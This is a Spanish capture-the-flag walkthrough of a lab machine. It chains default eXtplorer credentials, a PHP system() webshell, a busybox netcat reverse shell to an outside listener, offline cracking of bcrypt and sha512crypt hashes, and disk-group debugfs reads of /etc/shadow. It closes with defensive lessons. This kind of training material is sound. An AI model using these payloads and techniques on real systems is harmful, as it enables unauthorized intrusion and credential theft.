Extplorer
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Extplorer publica un WordPress a medio instalar en el puerto 80 y, colgando de él, el gestor de ficheros eXtplorer en/filemanager, que acepta las credenciales por defectoadmin:admin. Con él sobrescribimos un.phpdel sitio por una webshell y obtenemos ejecución comowww-data. En la propia config de eXtplorer (.htusers.php) hay un hash bcrypt dedoraque rompemos (cracking offline) hastadoraemon(credenciales en código).dorapertenece al grupodisk, lo que permite leer el disco crudo condebugfs, volcar/etc/shadow, romper el hash deroot(abuso del grupo disk) y entrar comoroot.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.142.1664 bytes from 192.168.142.16: icmp_seq=1 ttl=61 time=29.5 msBarremos todos los puertos TCP y luego identificamos versiones sobre los abiertos:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.142.16PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.142.16 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: WordPress › Setup Configuration File
|_Requested resource was http://192.168.142.16/wp-admin/setup-config.phpSolo SSH y HTTP. El título y la redirección a wp-admin/setup-config.php delatan un WordPress recién desplegado y sin configurar (aún en el asistente de instalación). Eso suele significar que falta enumerar qué más cuelga del mismo Apache.
HTTP - TCP 80
La portada es el asistente de instalación de WordPress (pide nombre de base de datos, usuario, contraseña), señal de que el sitio no está terminado:

Enumeramos rutas; además de la estructura típica de WordPress aparece un /filemanager:
dirsearch -u http://192.168.142.16/ --exclude-status=403,404,503301 - /filemanager -> /filemanager/
200 - /filemanager/
200 - /license.txt
200 - /readme.html
301 - /wp-admin -> /wp-admin/
200 - /wp-admin/setup-config.php
301 - /wp-content -> /wp-content//filemanager es lo interesante: no forma parte de WordPress.
eXtplorer - credenciales por defecto
/filemanager sirve eXtplorer, un administrador de ficheros web en PHP. Probamos las credenciales por defecto del producto, admin:admin, y entran (credenciales débiles):

Dentro tenemos un explorador completo del sistema de ficheros del servidor, con permisos para editar y crear archivos bajo el DocumentRoot:

Current mode: extplorer [Logout]. You could switch to ftp mode.
Name Size Type Modified Perms Owner
filemanager 4 KB Directory 2023/04/06 03:32 755 (rwxr-xr-x) www-data (33)
wordpress 4 KB Directory 2023/04/06 03:30 755 (rwxr-xr-x) www-data (33)
wp-admin 4 KB Directory 2023/03/29 17:48 755 (rwxr-xr-x) www-data (33)
wp-content 4 KB Directory 2026/01/06 20:27 755 (rwxr-xr-x) www-data (33)
wp-includes 12 KB Directory 2023/03/29 17:48 755 (rwxr-xr-x) www-data (33)
index.php 405 B PHP Script 2020/02/06 06:33 644 (rw-r--r--) www-data (33)La columna Owner es la que decide el siguiente paso: todo pertenece a www-data, el mismo usuario con el que corre el servidor web, así que el panel puede reescribir cualquiera de esos .php.
Explotación
eXtplorer: RCE sobrescribiendo un PHP
eXtplorer permite editar ficheros en el servidor. Como el sitio es PHP, basta con sobrescribir un .php existente (aquí wp-admin/setup-config.php) por una webshell que ejecute lo que le pasemos por la query string:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 22Con la webshell guardada, lanzamos una reverse shell con busybox netcat:
busybox nc 192.168.45.227 22 -e bash
[+] Got reverse shell from dora~192.168.142.16-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3!
www-data@dora:/var/www/html/wp-admin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Estamos como www-data.
Pivote a dora
Filtración del hash en la config de eXtplorer
Miramos los usuarios con shell y vemos que dora es el usuario real del sistema, y que pertenece al grupo disk (lo aprovecharemos para la escalada):
cat /etc/passwd | grep sh
id doraroot:x:0:0:root:/root:/bin/bash
dora:x:1000:1000::/home/dora:/bin/sh
uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)eXtplorer guarda sus cuentas en config/.htusers.php. Buscamos referencias a dora dentro del directorio del gestor:
cd /var/www/html/filemanager
grep -ri dora .
./config/.htusers.php: array('dora','$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS','/var/www/html','http://localhost','1','','0',1),Es un hash bcrypt (credenciales en código). Lo rompemos offline con John (cracking de hashes):
echo '$2a$08$zyiNvVoP/UuSMgO2rKDtLuox.vYj.3hZPVYq3i4oG3/CtgET7CjjS' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
doraemon (?)La contraseña de dora es doraemon. Cambiamos de usuario desde la shell de www-data:
su dora # doraemon
id
www-data@dora:/var/www/html/filemanager$ su dora
Password:
$ id
uid=1000(dora) gid=1000(dora) groups=1000(dora),6(disk)dora está en el grupo 6(disk). Leemos la primera prueba:
cat local.txt && whoami && ip a && hostname
74ce4f9dd1aa52a7899a31a7df65c051Escalada de privilegios
Abuso del grupo disk: debugfs sobre el disco crudo
dora está en el grupo disk, que da acceso de lectura a los dispositivos de bloque. Eso equivale a leer el disco entero saltándose los permisos del sistema de ficheros: cualquiera del grupo puede abrir el disco crudo y sacar ficheros que normalmente no podría ver, como /etc/shadow (abuso del grupo disk). Localizamos los dispositivos del grupo y abrimos el volumen con debugfs:
id
find / -group disk 2>/dev/null
debugfs /dev/dm-0Dentro de debugfs, leemos /etc/shadow con cat:
debugfs: cat /etc/shadow
root:$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.:19453:0:99999:7:::El hash de root es un sha512crypt ($6$). Lo rompemos también con John (cracking offline):
john --wordlist=/usr/share/wordlists/rockyou.txt hash
explorer (?)La contraseña de root es explorer. Escalamos con su:
su root # explorer
id
dora@dora:~$ su root
Password:
root@dora:/home/dora# id
uid=0(root) gid=0(root) groups=0(root)Ya somos root (uid 0). Leemos la prueba final:
cat proof.txt && whoami && ip a && hostname
b72cf906b03628fc35cc519eb2fb8624Cadena de ataque
WordPress sin configurar (TCP 80) -- /filemanager (eXtplorer)
│ credenciales por defecto admin:admin
│ editar/sobrescribir un .php -> webshell
▼
shell como www-data
│ .htusers.php -> hash bcrypt de dora -> john -> doraemon
▼
shell como dora (local.txt, grupo disk)
│ debugfs /dev/dm-0 -> cat /etc/shadow -> hash sha512 de root -> john -> explorer
▼
shell como root (proof.txt)Lecciones aprendidas
- Las credenciales por defecto siguen ganando cajas. eXtplorer trae
admin:adminde fábrica; dejarlo sin cambiar, encima de un gestor de ficheros con permisos de escritura sobre elDocumentRoot, equivale a regalar ejecución de código. - Un sitio "a medio instalar" no es inofensivo. El WordPress estaba sin configurar, pero el Apache que lo servía exponía además eXtplorer. Conviene enumerar todo lo que cuelga del servidor, no solo la aplicación principal.
- Las contraseñas en ficheros de configuración acaban crackeadas. El bcrypt de
doravivía en texto en.htusers.php; un coste bajo y una contraseña de diccionario (doraemon) la entregan en segundos. - El grupo
diskes root en diferido. Pertenecer adiskda acceso al disco crudo: condebugfsse lee cualquier fichero (incluido/etc/shadow) sin pasar por los permisos del sistema de ficheros. No es un grupo "de almacenamiento inocuo"; concederlo equivale a conceder lectura total del disco.